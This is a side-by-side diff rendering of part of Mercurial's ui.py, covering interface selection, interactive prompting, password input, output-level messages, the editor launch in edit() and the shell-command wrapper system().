1543 | availableinterfaces = frozenset(featureinterfaces[feature]) | |
1544 | if alldefaults > availableinterfaces: |
|
1544 | if alldefaults > availableinterfaces: | |
1545 | # Programming error, not user error. We need a use case to |
|
1545 | # Programming error, not user error. We need a use case to | |
1546 | # define the right thing to do here. |
|
1546 | # define the right thing to do here. | |
1547 | raise ValueError( |
|
1547 | raise ValueError( | |
1548 | b"Feature %s does not handle all default interfaces" % feature |
|
1548 | b"Feature %s does not handle all default interfaces" % feature | |
1549 | ) |
|
1549 | ) | |
1550 |
|
1550 | |||
1551 | if self.plain() or encoding.environ.get(b'TERM') == b'dumb': |
|
1551 | if self.plain() or encoding.environ.get(b'TERM') == b'dumb': | |
1552 | return b"text" |
|
1552 | return b"text" | |
1553 |
|
1553 | |||
1554 | # Default interface for all the features |
|
1554 | # Default interface for all the features | |
1555 | defaultinterface = b"text" |
|
1555 | defaultinterface = b"text" | |
1556 | i = self.config(b"ui", b"interface") |
|
1556 | i = self.config(b"ui", b"interface") | |
1557 | if i in alldefaults: |
|
1557 | if i in alldefaults: | |
1558 | defaultinterface = i |
|
1558 | defaultinterface = i | |
1559 |
|
1559 | |||
1560 | choseninterface = defaultinterface |
|
1560 | choseninterface = defaultinterface | |
1561 | f = self.config(b"ui", b"interface.%s" % feature) |
|
1561 | f = self.config(b"ui", b"interface.%s" % feature) | |
1562 | if f in availableinterfaces: |
|
1562 | if f in availableinterfaces: | |
1563 | choseninterface = f |
|
1563 | choseninterface = f | |
1564 |
|
1564 | |||
1565 | if i is not None and defaultinterface != i: |
|
1565 | if i is not None and defaultinterface != i: | |
1566 | if f is not None: |
|
1566 | if f is not None: | |
1567 | self.warn(_(b"invalid value for ui.interface: %s\n") % (i,)) |
|
1567 | self.warn(_(b"invalid value for ui.interface: %s\n") % (i,)) | |
1568 | else: |
|
1568 | else: | |
1569 | self.warn( |
|
1569 | self.warn( | |
1570 | _(b"invalid value for ui.interface: %s (using %s)\n") |
|
1570 | _(b"invalid value for ui.interface: %s (using %s)\n") | |
1571 | % (i, choseninterface) |
|
1571 | % (i, choseninterface) | |
1572 | ) |
|
1572 | ) | |
1573 | if f is not None and choseninterface != f: |
|
1573 | if f is not None and choseninterface != f: | |
1574 | self.warn( |
|
1574 | self.warn( | |
1575 | _(b"invalid value for ui.interface.%s: %s (using %s)\n") |
|
1575 | _(b"invalid value for ui.interface.%s: %s (using %s)\n") | |
1576 | % (feature, f, choseninterface) |
|
1576 | % (feature, f, choseninterface) | |
1577 | ) |
|
1577 | ) | |
1578 |
|
1578 | |||
1579 | return choseninterface |
|
1579 | return choseninterface | |
1580 |
|
1580 | |||
1581 | def interactive(self): |
|
1581 | def interactive(self): | |
1582 | """is interactive input allowed? |
|
1582 | """is interactive input allowed? | |
1583 |
|
1583 | |||
1584 | An interactive session is a session where input can be reasonably read |
|
1584 | An interactive session is a session where input can be reasonably read | |
1585 | from `sys.stdin'. If this function returns false, any attempt to read |
|
1585 | from `sys.stdin'. If this function returns false, any attempt to read | |
1586 | from stdin should fail with an error, unless a sensible default has been |
|
1586 | from stdin should fail with an error, unless a sensible default has been | |
1587 | specified. |
|
1587 | specified. | |
1588 |
|
1588 | |||
1589 | Interactiveness is triggered by the value of the `ui.interactive' |
|
1589 | Interactiveness is triggered by the value of the `ui.interactive' | |
1590 | configuration variable or - if it is unset - when `sys.stdin' points |
|
1590 | configuration variable or - if it is unset - when `sys.stdin' points | |
1591 | to a terminal device. |
|
1591 | to a terminal device. | |
1592 |
|
1592 | |||
1593 | This function refers to input only; for output, see `ui.formatted()'. |
|
1593 | This function refers to input only; for output, see `ui.formatted()'. | |
1594 | """ |
|
1594 | """ | |
1595 | i = self.configbool(b"ui", b"interactive") |
|
1595 | i = self.configbool(b"ui", b"interactive") | |
1596 | if i is None: |
|
1596 | if i is None: | |
1597 | # some environments replace stdin without implementing isatty |
|
1597 | # some environments replace stdin without implementing isatty | |
1598 | # usually those are non-interactive |
|
1598 | # usually those are non-interactive | |
1599 | return self._isatty(self._fin) |
|
1599 | return self._isatty(self._fin) | |
1600 |
|
1600 | |||
1601 | return i |
|
1601 | return i | |
1602 |
|
1602 | |||
1603 | def termwidth(self): |
|
1603 | def termwidth(self): | |
1604 | """how wide is the terminal in columns?""" |
|
1604 | """how wide is the terminal in columns?""" | |
1605 | if b'COLUMNS' in encoding.environ: |
|
1605 | if b'COLUMNS' in encoding.environ: | |
1606 | try: |
|
1606 | try: | |
1607 | return int(encoding.environ[b'COLUMNS']) |
|
1607 | return int(encoding.environ[b'COLUMNS']) | |
1608 | except ValueError: |
|
1608 | except ValueError: | |
1609 | pass |
|
1609 | pass | |
1610 | return scmutil.termsize(self)[0] |
|
1610 | return scmutil.termsize(self)[0] | |
1611 |
|
1611 | |||
1612 | def formatted(self): |
|
1612 | def formatted(self): | |
1613 | """should formatted output be used? |
|
1613 | """should formatted output be used? | |
1614 |
|
1614 | |||
1615 | It is often desirable to format the output to suite the output medium. |
|
1615 | It is often desirable to format the output to suite the output medium. | |
1616 | Examples of this are truncating long lines or colorizing messages. |
|
1616 | Examples of this are truncating long lines or colorizing messages. | |
1617 | However, this is not often not desirable when piping output into other |
|
1617 | However, this is not often not desirable when piping output into other | |
1618 | utilities, e.g. `grep'. |
|
1618 | utilities, e.g. `grep'. | |
1619 |
|
1619 | |||
1620 | Formatted output is triggered by the value of the `ui.formatted' |
|
1620 | Formatted output is triggered by the value of the `ui.formatted' | |
1621 | configuration variable or - if it is unset - when `sys.stdout' points |
|
1621 | configuration variable or - if it is unset - when `sys.stdout' points | |
1622 | to a terminal device. Please note that `ui.formatted' should be |
|
1622 | to a terminal device. Please note that `ui.formatted' should be | |
1623 | considered an implementation detail; it is not intended for use outside |
|
1623 | considered an implementation detail; it is not intended for use outside | |
1624 | Mercurial or its extensions. |
|
1624 | Mercurial or its extensions. | |
1625 |
|
1625 | |||
1626 | This function refers to output only; for input, see `ui.interactive()'. |
|
1626 | This function refers to output only; for input, see `ui.interactive()'. | |
1627 | This function always returns false when in plain mode, see `ui.plain()'. |
|
1627 | This function always returns false when in plain mode, see `ui.plain()'. | |
1628 | """ |
|
1628 | """ | |
1629 | if self.plain(): |
|
1629 | if self.plain(): | |
1630 | return False |
|
1630 | return False | |
1631 |
|
1631 | |||
1632 | i = self.configbool(b"ui", b"formatted") |
|
1632 | i = self.configbool(b"ui", b"formatted") | |
1633 | if i is None: |
|
1633 | if i is None: | |
1634 | # some environments replace stdout without implementing isatty |
|
1634 | # some environments replace stdout without implementing isatty | |
1635 | # usually those are non-interactive |
|
1635 | # usually those are non-interactive | |
1636 | return self._isatty(self._fout) |
|
1636 | return self._isatty(self._fout) | |
1637 |
|
1637 | |||
1638 | return i |
|
1638 | return i | |
1639 |
|
1639 | |||
1640 | def _readline(self, prompt=b' ', promptopts=None): |
|
1640 | def _readline(self, prompt=b' ', promptopts=None): | |
1641 | # Replacing stdin/stdout temporarily is a hard problem on Python 3 |
|
1641 | # Replacing stdin/stdout temporarily is a hard problem on Python 3 | |
1642 | # because they have to be text streams with *no buffering*. Instead, |
|
1642 | # because they have to be text streams with *no buffering*. Instead, | |
1643 | # we use rawinput() only if call_readline() will be invoked by |
|
1643 | # we use rawinput() only if call_readline() will be invoked by | |
1644 | # PyOS_Readline(), so no I/O will be made at Python layer. |
|
1644 | # PyOS_Readline(), so no I/O will be made at Python layer. | |
1645 | usereadline = ( |
|
1645 | usereadline = ( | |
1646 | self._isatty(self._fin) |
|
1646 | self._isatty(self._fin) | |
1647 | and self._isatty(self._fout) |
|
1647 | and self._isatty(self._fout) | |
1648 | and procutil.isstdin(self._fin) |
|
1648 | and procutil.isstdin(self._fin) | |
1649 | and procutil.isstdout(self._fout) |
|
1649 | and procutil.isstdout(self._fout) | |
1650 | ) |
|
1650 | ) | |
1651 | if usereadline: |
|
1651 | if usereadline: | |
1652 | try: |
|
1652 | try: | |
1653 | # magically add command line editing support, where |
|
1653 | # magically add command line editing support, where | |
1654 | # available |
|
1654 | # available | |
1655 | import readline |
|
1655 | import readline | |
1656 |
|
1656 | |||
1657 | # force demandimport to really load the module |
|
1657 | # force demandimport to really load the module | |
1658 | readline.read_history_file |
|
1658 | readline.read_history_file | |
1659 | # windows sometimes raises something other than ImportError |
|
1659 | # windows sometimes raises something other than ImportError | |
1660 | except Exception: |
|
1660 | except Exception: | |
1661 | usereadline = False |
|
1661 | usereadline = False | |
1662 |
|
1662 | |||
1663 | if self._colormode == b'win32' or not usereadline: |
|
1663 | if self._colormode == b'win32' or not usereadline: | |
1664 | if not promptopts: |
|
1664 | if not promptopts: | |
1665 | promptopts = {} |
|
1665 | promptopts = {} | |
1666 | self._writemsgnobuf( |
|
1666 | self._writemsgnobuf( | |
1667 | self._fmsgout, prompt, type=b'prompt', **promptopts |
|
1667 | self._fmsgout, prompt, type=b'prompt', **promptopts | |
1668 | ) |
|
1668 | ) | |
1669 | self.flush() |
|
1669 | self.flush() | |
1670 | prompt = b' ' |
|
1670 | prompt = b' ' | |
1671 | else: |
|
1671 | else: | |
1672 | prompt = self.label(prompt, b'ui.prompt') + b' ' |
|
1672 | prompt = self.label(prompt, b'ui.prompt') + b' ' | |
1673 |
|
1673 | |||
1674 | # prompt ' ' must exist; otherwise readline may delete entire line |
|
1674 | # prompt ' ' must exist; otherwise readline may delete entire line | |
1675 | # - http://bugs.python.org/issue12833 |
|
1675 | # - http://bugs.python.org/issue12833 | |
1676 | with self.timeblockedsection(b'stdio'): |
|
1676 | with self.timeblockedsection(b'stdio'): | |
1677 | if usereadline: |
|
1677 | if usereadline: | |
1678 | self.flush() |
|
1678 | self.flush() | |
1679 | prompt = encoding.strfromlocal(prompt) |
|
1679 | prompt = encoding.strfromlocal(prompt) | |
1680 | line = encoding.strtolocal(pycompat.rawinput(prompt)) |
|
1680 | line = encoding.strtolocal(pycompat.rawinput(prompt)) | |
1681 | # When stdin is in binary mode on Windows, it can cause |
|
1681 | # When stdin is in binary mode on Windows, it can cause | |
1682 | # raw_input() to emit an extra trailing carriage return |
|
1682 | # raw_input() to emit an extra trailing carriage return | |
1683 | if pycompat.oslinesep == b'\r\n' and line.endswith(b'\r'): |
|
1683 | if pycompat.oslinesep == b'\r\n' and line.endswith(b'\r'): | |
1684 | line = line[:-1] |
|
1684 | line = line[:-1] | |
1685 | else: |
|
1685 | else: | |
1686 | self._fout.write(pycompat.bytestr(prompt)) |
|
1686 | self._fout.write(pycompat.bytestr(prompt)) | |
1687 | self._fout.flush() |
|
1687 | self._fout.flush() | |
1688 | line = self._fin.readline() |
|
1688 | line = self._fin.readline() | |
1689 | if not line: |
|
1689 | if not line: | |
1690 | raise EOFError |
|
1690 | raise EOFError | |
1691 | line = line.rstrip(pycompat.oslinesep) |
|
1691 | line = line.rstrip(pycompat.oslinesep) | |
1692 |
|
1692 | |||
1693 | return line |
|
1693 | return line | |
1694 |
|
1694 | |||
1695 | def prompt(self, msg, default=b"y"): |
|
1695 | def prompt(self, msg, default=b"y"): | |
1696 | """Prompt user with msg, read response. |
|
1696 | """Prompt user with msg, read response. | |
1697 | If ui is not interactive, the default is returned. |
|
1697 | If ui is not interactive, the default is returned. | |
1698 | """ |
|
1698 | """ | |
1699 | return self._prompt(msg, default=default) |
|
1699 | return self._prompt(msg, default=default) | |
1700 |
|
1700 | |||
1701 | def _prompt(self, msg, **opts): |
|
1701 | def _prompt(self, msg, **opts): | |
1702 | default = opts['default'] |
|
1702 | default = opts['default'] | |
1703 | if not self.interactive(): |
|
1703 | if not self.interactive(): | |
1704 | self._writemsg(self._fmsgout, msg, b' ', type=b'prompt', **opts) |
|
1704 | self._writemsg(self._fmsgout, msg, b' ', type=b'prompt', **opts) | |
1705 | self._writemsg( |
|
1705 | self._writemsg( | |
1706 | self._fmsgout, default or b'', b"\n", type=b'promptecho' |
|
1706 | self._fmsgout, default or b'', b"\n", type=b'promptecho' | |
1707 | ) |
|
1707 | ) | |
1708 | return default |
|
1708 | return default | |
1709 | try: |
|
1709 | try: | |
1710 | r = self._readline(prompt=msg, promptopts=opts) |
|
1710 | r = self._readline(prompt=msg, promptopts=opts) | |
1711 | if not r: |
|
1711 | if not r: | |
1712 | r = default |
|
1712 | r = default | |
1713 | if self.configbool(b'ui', b'promptecho'): |
|
1713 | if self.configbool(b'ui', b'promptecho'): | |
1714 | self._writemsg( |
|
1714 | self._writemsg( | |
1715 | self._fmsgout, r or b'', b"\n", type=b'promptecho' |
|
1715 | self._fmsgout, r or b'', b"\n", type=b'promptecho' | |
1716 | ) |
|
1716 | ) | |
1717 | return r |
|
1717 | return r | |
1718 | except EOFError: |
|
1718 | except EOFError: | |
1719 | raise error.ResponseExpected() |
|
1719 | raise error.ResponseExpected() | |
1720 |
|
1720 | |||
1721 | @staticmethod |
|
1721 | @staticmethod | |
1722 | def extractchoices(prompt): |
|
1722 | def extractchoices(prompt): | |
1723 | """Extract prompt message and list of choices from specified prompt. |
|
1723 | """Extract prompt message and list of choices from specified prompt. | |
1724 |
|
1724 | |||
1725 | This returns tuple "(message, choices)", and "choices" is the |
|
1725 | This returns tuple "(message, choices)", and "choices" is the | |
1726 | list of tuple "(response character, text without &)". |
|
1726 | list of tuple "(response character, text without &)". | |
1727 |
|
1727 | |||
1728 | >>> ui.extractchoices(b"awake? $$ &Yes $$ &No") |
|
1728 | >>> ui.extractchoices(b"awake? $$ &Yes $$ &No") | |
1729 | ('awake? ', [('y', 'Yes'), ('n', 'No')]) |
|
1729 | ('awake? ', [('y', 'Yes'), ('n', 'No')]) | |
1730 | >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No") |
|
1730 | >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No") | |
1731 | ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')]) |
|
1731 | ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')]) | |
1732 | >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o") |
|
1732 | >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o") | |
1733 | ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')]) |
|
1733 | ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')]) | |
1734 | """ |
|
1734 | """ | |
1735 |
|
1735 | |||
1736 | # Sadly, the prompt string may have been built with a filename |
|
1736 | # Sadly, the prompt string may have been built with a filename | |
1737 | # containing "$$" so let's try to find the first valid-looking |
|
1737 | # containing "$$" so let's try to find the first valid-looking | |
1738 | # prompt to start parsing. Sadly, we also can't rely on |
|
1738 | # prompt to start parsing. Sadly, we also can't rely on | |
1739 | # choices containing spaces, ASCII, or basically anything |
|
1739 | # choices containing spaces, ASCII, or basically anything | |
1740 | # except an ampersand followed by a character. |
|
1740 | # except an ampersand followed by a character. | |
1741 | m = re.match(br'(?s)(.+?)\$\$([^$]*&[^ $].*)', prompt) |
|
1741 | m = re.match(br'(?s)(.+?)\$\$([^$]*&[^ $].*)', prompt) | |
1742 | msg = m.group(1) |
|
1742 | msg = m.group(1) | |
1743 | choices = [p.strip(b' ') for p in m.group(2).split(b'$$')] |
|
1743 | choices = [p.strip(b' ') for p in m.group(2).split(b'$$')] | |
1744 |
|
1744 | |||
1745 | def choicetuple(s): |
|
1745 | def choicetuple(s): | |
1746 | ampidx = s.index(b'&') |
|
1746 | ampidx = s.index(b'&') | |
1747 | return s[ampidx + 1 : ampidx + 2].lower(), s.replace(b'&', b'', 1) |
|
1747 | return s[ampidx + 1 : ampidx + 2].lower(), s.replace(b'&', b'', 1) | |
1748 |
|
1748 | |||
1749 | return (msg, [choicetuple(s) for s in choices]) |
|
1749 | return (msg, [choicetuple(s) for s in choices]) | |
1750 |
|
1750 | |||
1751 | def promptchoice(self, prompt, default=0): |
|
1751 | def promptchoice(self, prompt, default=0): | |
1752 | """Prompt user with a message, read response, and ensure it matches |
|
1752 | """Prompt user with a message, read response, and ensure it matches | |
1753 | one of the provided choices. The prompt is formatted as follows: |
|
1753 | one of the provided choices. The prompt is formatted as follows: | |
1754 |
|
1754 | |||
1755 | "would you like fries with that (Yn)? $$ &Yes $$ &No" |
|
1755 | "would you like fries with that (Yn)? $$ &Yes $$ &No" | |
1756 |
|
1756 | |||
1757 | The index of the choice is returned. Responses are case |
|
1757 | The index of the choice is returned. Responses are case | |
1758 | insensitive. If ui is not interactive, the default is |
|
1758 | insensitive. If ui is not interactive, the default is | |
1759 | returned. |
|
1759 | returned. | |
1760 | """ |
|
1760 | """ | |
1761 |
|
1761 | |||
1762 | msg, choices = self.extractchoices(prompt) |
|
1762 | msg, choices = self.extractchoices(prompt) | |
1763 | resps = [r for r, t in choices] |
|
1763 | resps = [r for r, t in choices] | |
1764 | while True: |
|
1764 | while True: | |
1765 | r = self._prompt(msg, default=resps[default], choices=choices) |
|
1765 | r = self._prompt(msg, default=resps[default], choices=choices) | |
1766 | if r.lower() in resps: |
|
1766 | if r.lower() in resps: | |
1767 | return resps.index(r.lower()) |
|
1767 | return resps.index(r.lower()) | |
1768 | # TODO: shouldn't it be a warning? |
|
1768 | # TODO: shouldn't it be a warning? | |
1769 | self._writemsg(self._fmsgout, _(b"unrecognized response\n")) |
|
1769 | self._writemsg(self._fmsgout, _(b"unrecognized response\n")) | |
1770 |
|
1770 | |||
1771 | def getpass(self, prompt=None, default=None): |
|
1771 | def getpass(self, prompt=None, default=None): | |
1772 | if not self.interactive(): |
|
1772 | if not self.interactive(): | |
1773 | return default |
|
1773 | return default | |
1774 | try: |
|
1774 | try: | |
1775 | self._writemsg( |
|
1775 | self._writemsg( | |
1776 | self._fmsgerr, |
|
1776 | self._fmsgerr, | |
1777 | prompt or _(b'password: '), |
|
1777 | prompt or _(b'password: '), | |
1778 | type=b'prompt', |
|
1778 | type=b'prompt', | |
1779 | password=True, |
|
1779 | password=True, | |
1780 | ) |
|
1780 | ) | |
1781 | # disable getpass() only if explicitly specified. it's still valid |
|
1781 | # disable getpass() only if explicitly specified. it's still valid | |
1782 | # to interact with tty even if fin is not a tty. |
|
1782 | # to interact with tty even if fin is not a tty. | |
1783 | with self.timeblockedsection(b'stdio'): |
|
1783 | with self.timeblockedsection(b'stdio'): | |
1784 | if self.configbool(b'ui', b'nontty'): |
|
1784 | if self.configbool(b'ui', b'nontty'): | |
1785 | l = self._fin.readline() |
|
1785 | l = self._fin.readline() | |
1786 | if not l: |
|
1786 | if not l: | |
1787 | raise EOFError |
|
1787 | raise EOFError | |
1788 | return l.rstrip(b'\n') |
|
1788 | return l.rstrip(b'\n') | |
1789 | else: |
|
1789 | else: | |
1790 | return util.get_password() |
|
1790 | return util.get_password() | |
1791 | except EOFError: |
|
1791 | except EOFError: | |
1792 | raise error.ResponseExpected() |
|
1792 | raise error.ResponseExpected() | |
1793 |
|
1793 | |||
1794 | def status(self, *msg, **opts): |
|
1794 | def status(self, *msg, **opts): | |
1795 | """write status message to output (if ui.quiet is False) |
|
1795 | """write status message to output (if ui.quiet is False) | |
1796 |
|
1796 | |||
1797 | This adds an output label of "ui.status". |
|
1797 | This adds an output label of "ui.status". | |
1798 | """ |
|
1798 | """ | |
1799 | if not self.quiet: |
|
1799 | if not self.quiet: | |
1800 | self._writemsg(self._fmsgout, type=b'status', *msg, **opts) |
|
1800 | self._writemsg(self._fmsgout, type=b'status', *msg, **opts) | |
1801 |
|
1801 | |||
1802 | def warn(self, *msg, **opts): |
|
1802 | def warn(self, *msg, **opts): | |
1803 | """write warning message to output (stderr) |
|
1803 | """write warning message to output (stderr) | |
1804 |
|
1804 | |||
1805 | This adds an output label of "ui.warning". |
|
1805 | This adds an output label of "ui.warning". | |
1806 | """ |
|
1806 | """ | |
1807 | self._writemsg(self._fmsgerr, type=b'warning', *msg, **opts) |
|
1807 | self._writemsg(self._fmsgerr, type=b'warning', *msg, **opts) | |
1808 |
|
1808 | |||
1809 | def error(self, *msg, **opts): |
|
1809 | def error(self, *msg, **opts): | |
1810 | """write error message to output (stderr) |
|
1810 | """write error message to output (stderr) | |
1811 |
|
1811 | |||
1812 | This adds an output label of "ui.error". |
|
1812 | This adds an output label of "ui.error". | |
1813 | """ |
|
1813 | """ | |
1814 | self._writemsg(self._fmsgerr, type=b'error', *msg, **opts) |
|
1814 | self._writemsg(self._fmsgerr, type=b'error', *msg, **opts) | |
1815 |
|
1815 | |||
1816 | def note(self, *msg, **opts): |
|
1816 | def note(self, *msg, **opts): | |
1817 | """write note to output (if ui.verbose is True) |
|
1817 | """write note to output (if ui.verbose is True) | |
1818 |
|
1818 | |||
1819 | This adds an output label of "ui.note". |
|
1819 | This adds an output label of "ui.note". | |
1820 | """ |
|
1820 | """ | |
1821 | if self.verbose: |
|
1821 | if self.verbose: | |
1822 | self._writemsg(self._fmsgout, type=b'note', *msg, **opts) |
|
1822 | self._writemsg(self._fmsgout, type=b'note', *msg, **opts) | |
1823 |
|
1823 | |||
1824 | def debug(self, *msg, **opts): |
|
1824 | def debug(self, *msg, **opts): | |
1825 | """write debug message to output (if ui.debugflag is True) |
|
1825 | """write debug message to output (if ui.debugflag is True) | |
1826 |
|
1826 | |||
1827 | This adds an output label of "ui.debug". |
|
1827 | This adds an output label of "ui.debug". | |
1828 | """ |
|
1828 | """ | |
1829 | if self.debugflag: |
|
1829 | if self.debugflag: | |
1830 | self._writemsg(self._fmsgout, type=b'debug', *msg, **opts) |
|
1830 | self._writemsg(self._fmsgout, type=b'debug', *msg, **opts) | |
1831 | self.log(b'debug', b'%s', b''.join(msg)) |
|
1831 | self.log(b'debug', b'%s', b''.join(msg)) | |
1832 |
|
1832 | |||
1833 | # Aliases to defeat check-code. |
|
1833 | # Aliases to defeat check-code. | |
1834 | statusnoi18n = status |
|
1834 | statusnoi18n = status | |
1835 | notenoi18n = note |
|
1835 | notenoi18n = note | |
1836 | warnnoi18n = warn |
|
1836 | warnnoi18n = warn | |
1837 | writenoi18n = write |
|
1837 | writenoi18n = write | |
1838 |
|
1838 | |||
1839 | def edit( |
|
1839 | def edit( | |
1840 | self, |
|
1840 | self, | |
1841 | text, |
|
1841 | text, | |
1842 | user, |
|
1842 | user, | |
1843 | extra=None, |
|
1843 | extra=None, | |
1844 | editform=None, |
|
1844 | editform=None, | |
1845 | pending=None, |
|
1845 | pending=None, | |
1846 | repopath=None, |
|
1846 | repopath=None, | |
1847 | action=None, |
|
1847 | action=None, | |
1848 | ): |
|
1848 | ): | |
1849 | if action is None: |
|
1849 | if action is None: | |
1850 | self.develwarn( |
|
1850 | self.develwarn( | |
1851 | b'action is None but will soon be a required ' |
|
1851 | b'action is None but will soon be a required ' | |
1852 | b'parameter to ui.edit()' |
|
1852 | b'parameter to ui.edit()' | |
1853 | ) |
|
1853 | ) | |
1854 | extra_defaults = { |
|
1854 | extra_defaults = { | |
1855 | b'prefix': b'editor', |
|
1855 | b'prefix': b'editor', | |
1856 | b'suffix': b'.txt', |
|
1856 | b'suffix': b'.txt', | |
1857 | } |
|
1857 | } | |
1858 | if extra is not None: |
|
1858 | if extra is not None: | |
1859 | if extra.get(b'suffix') is not None: |
|
1859 | if extra.get(b'suffix') is not None: | |
1860 | self.develwarn( |
|
1860 | self.develwarn( | |
1861 | b'extra.suffix is not None but will soon be ' |
|
1861 | b'extra.suffix is not None but will soon be ' | |
1862 | b'ignored by ui.edit()' |
|
1862 | b'ignored by ui.edit()' | |
1863 | ) |
|
1863 | ) | |
1864 | extra_defaults.update(extra) |
|
1864 | extra_defaults.update(extra) | |
1865 | extra = extra_defaults |
|
1865 | extra = extra_defaults | |
1866 |
|
1866 | |||
1867 | if action == b'diff': |
|
1867 | if action == b'diff': | |
1868 | suffix = b'.diff' |
|
1868 | suffix = b'.diff' | |
1869 | elif action: |
|
1869 | elif action: | |
1870 | suffix = b'.%s.hg.txt' % action |
|
1870 | suffix = b'.%s.hg.txt' % action | |
1871 | else: |
|
1871 | else: | |
1872 | suffix = extra[b'suffix'] |
|
1872 | suffix = extra[b'suffix'] | |
1873 |
|
1873 | |||
1874 | rdir = None |
|
1874 | rdir = None | |
1875 | if self.configbool(b'experimental', b'editortmpinhg'): |
|
1875 | if self.configbool(b'experimental', b'editortmpinhg'): | |
1876 | rdir = repopath |
|
1876 | rdir = repopath | |
1877 | (fd, name) = pycompat.mkstemp( |
|
1877 | (fd, name) = pycompat.mkstemp( | |
1878 | prefix=b'hg-' + extra[b'prefix'] + b'-', suffix=suffix, dir=rdir |
|
1878 | prefix=b'hg-' + extra[b'prefix'] + b'-', suffix=suffix, dir=rdir | |
1879 | ) |
|
1879 | ) | |
1880 | try: |
|
1880 | try: | |
1881 | with os.fdopen(fd, 'wb') as f: |
|
1881 | with os.fdopen(fd, 'wb') as f: | |
1882 | f.write(util.tonativeeol(text)) |
|
1882 | f.write(util.tonativeeol(text)) | |
1883 |
|
1883 | |||
1884 | environ = {b'HGUSER': user} |
|
1884 | environ = {b'HGUSER': user} | |
1885 | if b'transplant_source' in extra: |
|
1885 | if b'transplant_source' in extra: | |
1886 | environ.update( |
|
1886 | environ.update( | |
1887 | {b'HGREVISION': hex(extra[b'transplant_source'])} |
|
1887 | {b'HGREVISION': hex(extra[b'transplant_source'])} | |
1888 | ) |
|
1888 | ) | |
1889 | for label in (b'intermediate-source', b'source', b'rebase_source'): |
|
1889 | for label in (b'intermediate-source', b'source', b'rebase_source'): | |
1890 | if label in extra: |
|
1890 | if label in extra: | |
1891 | environ.update({b'HGREVISION': extra[label]}) |
|
1891 | environ.update({b'HGREVISION': extra[label]}) | |
1892 | break |
|
1892 | break | |
1893 | if editform: |
|
1893 | if editform: | |
1894 | environ.update({b'HGEDITFORM': editform}) |
|
1894 | environ.update({b'HGEDITFORM': editform}) | |
1895 | if pending: |
|
1895 | if pending: | |
1896 | environ.update({b'HG_PENDING': pending}) |
|
1896 | environ.update({b'HG_PENDING': pending}) | |
1897 |
|
1897 | |||
1898 | editor = self.geteditor() |
|
1898 | editor = self.geteditor() | |
1899 |
|
1899 | |||
1900 | self.system( |
|
1900 | self.system( | |
1901 | b"%s \"%s\"" % (editor, name), |
|
1901 | b"%s \"%s\"" % (editor, name), | |
1902 | environ=environ, |
|
1902 | environ=environ, | |
1903 | onerr=error.CanceledError, |
|
1903 | onerr=error.CanceledError, | |
1904 | errprefix=_(b"edit failed"), |
|
1904 | errprefix=_(b"edit failed"), | |
1905 | blockedtag=b'editor', |
|
1905 | blockedtag=b'editor', | |
1906 | ) |
|
1906 | ) | |
1907 |
|
1907 | |||
1908 | with open(name, 'rb') as f: |
|
1908 | with open(name, 'rb') as f: | |
1909 | t = util.fromnativeeol(f.read()) |
|
1909 | t = util.fromnativeeol(f.read()) | |
1910 | finally: |
|
1910 | finally: | |
1911 | os.unlink(name) |
|
1911 | os.unlink(name) | |
1912 |
|
1912 | |||
1913 | return t |
|
1913 | return t | |
1914 |
|
1914 | |||
1915 | def system( |
|
1915 | def system( | |
1916 | self, |
|
1916 | self, | |
1917 | cmd, |
|
1917 | cmd, | |
1918 | environ=None, |
|
1918 | environ=None, | |
1919 | cwd=None, |
|
1919 | cwd=None, | |
1920 | onerr=None, |
|
1920 | onerr=None, | |
1921 | errprefix=None, |
|
1921 | errprefix=None, | |
1922 | blockedtag=None, |
|
1922 | blockedtag=None, | |
1923 | ): |
|
1923 | ): | |
1924 | """execute shell command with appropriate output stream. command |
|
1924 | """execute shell command with appropriate output stream. command | |
1925 | output will be redirected if fout is not stdout. |
|
1925 | output will be redirected if fout is not stdout. | |
1926 |
|
1926 | |||
1927 | if command fails and onerr is None, return status, else raise onerr |
|
1927 | if command fails and onerr is None, return status, else raise onerr | |
1928 | object as exception. |
|
1928 | object as exception. | |
1929 | """ |
|
1929 | """ | |
1930 | if blockedtag is None: |
|
1930 | if blockedtag is None: | |
1931 | # Long cmds tend to be because of an absolute path on cmd. Keep |
|
1931 | # Long cmds tend to be because of an absolute path on cmd. Keep | |
1932 | # the tail end instead |
|
1932 | # the tail end instead | |
1933 | cmdsuffix = cmd.translate(None, _keepalnum)[-85:] |
|
1933 | cmdsuffix = cmd.translate(None, _keepalnum)[-85:] | |
1934 | blockedtag = b'unknown_system_' + cmdsuffix |
|
1934 | blockedtag = b'unknown_system_' + cmdsuffix | |
1935 | out = self._fout |
|
1935 | out = self._fout | |
1936 | if any(s[1] for s in self._bufferstates): |
|
1936 | if any(s[1] for s in self._bufferstates): | |
1937 | out = self |
|
1937 | out = self | |
1938 | with self.timeblockedsection(blockedtag): |
|
1938 | with self.timeblockedsection(blockedtag): | |
1939 | rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out) |
|
1939 | rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out) | |
1940 | if rc and onerr: |
|
1940 | if rc and onerr: | |
1941 | errmsg = b'%s %s' % ( |
|
1941 | errmsg = b'%s %s' % ( | |
1942 | procutil.shellsplit(cmd)[0], |
|
1942 | procutil.shellsplit(cmd)[0], | |
1943 | procutil.explainexit(rc), |
|
1943 | procutil.explainexit(rc), | |
1944 | ) |
|
1944 | ) | |
1945 | if errprefix: |
|
1945 | if errprefix: | |
1946 | errmsg = b'%s: %s' % (errprefix, errmsg) |
|
1946 | errmsg = b'%s: %s' % (errprefix, errmsg) | |
1947 | raise onerr(errmsg) |
|
1947 | raise onerr(errmsg) | |
1948 | return rc |
|
1948 | return rc | |
1949 |
|
1949 | |||
1950 | def _runsystem(self, cmd, environ, cwd, out): |
|
1950 | def _runsystem(self, cmd, environ, cwd, out): | |
1951 | """actually execute the given shell command (can be overridden by |
|
1951 | """actually execute the given shell command (can be overridden by | |
1952 | extensions like chg)""" |
|
1952 | extensions like chg)""" | |
1953 | return procutil.system(cmd, environ=environ, cwd=cwd, out=out) |
|
1953 | return procutil.system(cmd, environ=environ, cwd=cwd, out=out) | |
1954 |
|
